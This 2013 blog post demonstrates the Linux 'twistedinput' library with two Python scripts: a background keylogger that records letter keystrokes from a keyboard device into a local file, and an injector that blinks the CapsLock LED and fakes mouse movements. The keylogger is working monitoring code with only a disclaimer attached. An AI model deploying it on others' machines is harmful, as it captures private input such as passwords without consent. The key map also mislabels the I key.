čtvrtek 10. října 2013

Playing with twistedinput

In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.

Simple keylogger

Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory
from twistedinput.defines import *
from twisted.internet import reactor
import sys

class KeyNames(object):

    keyMap = None

    def __init__(self):
        self.keyMap = {EV_KEY : self.getKeyNames()}

    def getKeyNames(self):
        """
        get mapping object for naming keys
        """
        return {
            KEY_A :     "A",    KEY_B :     "B",    KEY_C :     "C",
            KEY_D :     "D",    KEY_E :     "E",    KEY_F :     "F",
            KEY_G :     "G",    KEY_H :     "H",    KEY_I :     "J",
            KEY_K :     "K",    KEY_L :     "L",    KEY_M :     "M",
            KEY_N :     "N",    KEY_O :     "O",    KEY_P :     "P",
            KEY_Q :     "Q",    KEY_R :     "R",    KEY_S :     "S",
            KEY_T :     "T",    KEY_U :     "U",    KEY_V :     "V",
            KEY_W :     "W",    KEY_X :     "X",    KEY_Y :     "Y",
            KEY_Z :     "Z"}

    def getKeyName(self, event):
        try:
            return self.keyMap[event.type][event.code]
        except KeyError:
            return None

class LoggerProtocol(protocol.EventProtocol):

    keyNames = None
    logFile = None

    def __init__(self, eventFactory, keyNames, logFile):
        protocol.EventProtocol.__init__(self, eventFactory)
        self.keyNames = keyNames
        self.logFile = open(logFile, 'a')

    def eventReceived(self, event):
        if event.value:
            key = self.keyNames.getKeyName(event)
            if key is not None:
                self.logKey(key)

    def logKey(self, key):
        self.logFile.write(key)
        self.logFile.flush()

    def connectionLost(self, reason):
        self.logFile.close()

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <log file>" % sys.argv[0]
        exit(1)
    dev = device.EventDevice(
        LoggerProtocol(
            factory.InputEventFactory(),
            KeyNames(),
            sys.argv[2]),
        sys.argv[1])
    dev.startReading()
    reactor.run()

if __name__ == '__main__':
    main()

KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.

For keep code simple, I named only character keys. You can make better keylogger in the same approach.

You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.

Event injector

Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.

Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory, event, mapping
from twistedinput.defines import *
from twisted.internet import reactor, task
import sys
import random

class EventGenerator(object):

    def createSyncEvent(self):
        return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0)

    def createEventSeq(self):
        raise NotImplementedError("override in subclass")

class BlinkCaps(EventGenerator):

    state = None
    keyboardProtocol = None

    def __init__(self, keyboardProtocol):
        self.state = False
        self.keyboardProtocol = keyboardProtocol

    def __call__(self):
        for event in self.createEventSeq():
            self.keyboardProtocol.transport.write(event.toBytes())

    def createLedEvent(self):
        value = [0, 1][self.state]
        self.state = not self.state
        return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value)

    def createEventSeq(self):
        return [self.createLedEvent(), self.createSyncEvent()]

class MouseMove(EventGenerator):


    def __init__(self, moveDistance):
        self.moveDistance = moveDistance

    def getAxis(self):
        return random.choice([REL_X, REL_Y])

    def getMove(self):
        return random.choice([self.moveDistance, -self.moveDistance])

    def createMoveEvent(self):
        return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove())

    def createEventSeq(self):
        return [self.createMoveEvent(), self.createSyncEvent()]

class KeyboardProtocol(protocol.EventProtocol):

    mouseProtocol = None
    mouseMove = None

    def __init__(self, *args, **kwargs):
        protocol.EventProtocol.__init__(self, *args, **kwargs)
        self.mouseMove = MouseMove(10)

    def keyLeftCtrl(self, event):
        if event.value:
            for event in self.mouseMove.createEventSeq():
                self.mouseProtocol.transport.write(event.toBytes())

class MouseProtocol(protocol.EventProtocol):

    def eventReceived(self, event):
        pass

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <mouse device>" % sys.argv[0]
        exit(1)
    keyboardProtocol = KeyboardProtocol(
        factory.InputEventFactory(),
        mapping.KeyboardMapping())
    keyboard = device.EventDevice(
        keyboardProtocol,
        sys.argv[1])

    mouseProtocol = MouseProtocol(
        factory.InputEventFactory())
    mouse = device.EventDevice(
        mouseProtocol,
        sys.argv[2])

    keyboardProtocol.mouseProtocol = mouseProtocol

    t = task.LoopingCall(BlinkCaps(keyboardProtocol))
    t.start(1.0)

    keyboard.startReading()

    reactor.run()

if __name__ == '__main__':
    main()

Žádné komentáře:

Okomentovat